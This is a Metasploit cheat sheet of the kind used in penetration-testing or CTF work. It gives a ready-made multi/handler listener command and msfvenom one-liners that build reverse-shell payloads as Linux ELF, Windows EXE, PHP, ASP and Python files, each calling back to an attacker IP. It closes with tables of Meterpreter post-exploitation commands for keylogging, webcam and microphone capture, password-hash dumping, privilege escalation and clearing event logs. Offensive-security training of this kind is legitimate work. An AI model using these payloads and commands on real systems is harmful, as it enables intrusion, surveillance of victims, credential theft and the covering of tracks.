Contents

MSFconsole

Basic Commands 

sessions -i [ID]      # View/connect to open sessions
sessions -u 1         # Upgrade shell to Meterpreter

File Operations 

download -r [file] [local_dir]      # Download files
upload -r [local_dir] [target_dir]  # Upload files

Quick Listener Setup 

msfconsole -q -x \
    "use multi/handler; \
    set payload windows/x64/shell_reverse_tcp; \
    set lhost [IP]; \
    set lport [PORT]; \
    exploit"

MSFvenom Payloads

Linux (ELF) 

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

Windows (EXE) 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

Web Payloads 

# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

# Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Meterpreter Commands

Core Commands

CommandDescription
backgroundBackgrounds the current session
exitTerminate the Meterpreter session
guidGet the session GUID
helpDisplays the help menu
infoDisplays information about a Post module
irbOpens an interactive Ruby shell
loadLoads Meterpreter extensions
migrateMigrate Meterpreter to another process
runExecutes a Meterpreter script or Post module
sessionsSwitch to another session

File System Commands

CommandDescription
cdChange directory
lsList files (dir also works)
pwdPrint working directory
editEdit a file
catShow file contents
rmDelete file
searchSearch for files
uploadUpload file/directory
downloadDownload file/directory

Networking Commands

CommandDescription
arpDisplay host ARP cache
ifconfigDisplay network interfaces
netstatDisplay network connections
portfwdForward local port to remote service
routeView/modify routing table

System Commands

CommandDescription
clearevClear event logs
executeExecute a command
getpidShow current process ID
getuidShow current user
killTerminate a process
pkillTerminate processes by name
psList running processes
rebootReboot remote computer
shellDrop to system shell
shutdownShutdown remote computer
sysinfoGet system information

Post-Exploitation Commands

CommandDescription
idletimeShow remote user idle time
keyscan_dumpDump keystroke buffer
keyscan_startStart keystroke capture
keyscan_stopStop keystroke capture
screenshareWatch remote desktop real-time
screenshotCapture desktop screenshot
record_micRecord microphone audio
webcam_chatStart video chat
webcam_listList webcams
webcam_snapTake webcam snapshot
webcam_streamStream from webcam
getsystemAttempt privilege elevation
hashdumpDump SAM database

Resources: